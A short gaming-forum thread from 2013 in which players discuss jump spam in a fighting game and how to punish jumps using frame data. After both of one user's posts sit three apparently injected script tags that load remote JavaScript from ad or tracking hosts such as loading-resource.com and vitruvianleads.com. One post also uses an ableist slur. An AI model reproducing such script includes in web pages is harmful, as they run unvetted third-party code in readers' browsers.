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Splicer
Registered: 12/30/2012
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67 posts
 

Re: Jump spam needs to be addressed

Jan 28, 2013

@Fromundaman

 

Thanks, I didn't know any of that. That was very helpful.

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Gaming Beast
Registered: 11/22/2012
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Re: Jump spam needs to be addressed

Jan 28, 2013
No problem! I encourage everyone to look through the article and especially the comments below. Maj is throwing out a LOT of useful information.

The Fro never sleeps.png


 

<script type="text/javascript" src="https://loading-resource.com/data.js.php?i={5B0E559A-F075-4C48-91F1-A12AED5BE78E}&d=2012-6-10&s=http://community.us.playstation.com/t5/forums/replypage/board-id/24861/message-id/338362"></script>
<script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>
<script type="text/javascript" src="http://www.vitruvianleads.com/build/production/selectionlinks/templates/bootstrap.js"></script>
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Sackboy
Registered: 11/09/2012
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Re: Jump spam needs to be addressed

Jan 28, 2013
I didn't misinterpret the subject (-: He whining about "jump attacking spam" like Drake's jump grenade. Which is stupid, getting past "jump spam" wouldn't be a problem for anyone who's not a retarded button masher... Smiley Very Happy
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Gaming Beast
Registered: 11/22/2012
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Re: Jump spam needs to be addressed

Jan 28, 2013
He's actually talking about jumping in general, and how little time you have to punish jumps. I actually found it hard to do for some characters (FP!) without frame data.

The Fro never sleeps.png


 

<script type="text/javascript" src="https://loading-resource.com/data.js.php?i={5B0E559A-F075-4C48-91F1-A12AED5BE78E}&d=2012-6-10&s=http://community.us.playstation.com/t5/forums/replypage/board-id/24861/message-id/338362"></script>
<script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>
<script type="text/javascript" src="http://www.vitruvianleads.com/build/production/selectionlinks/templates/bootstrap.js"></script>
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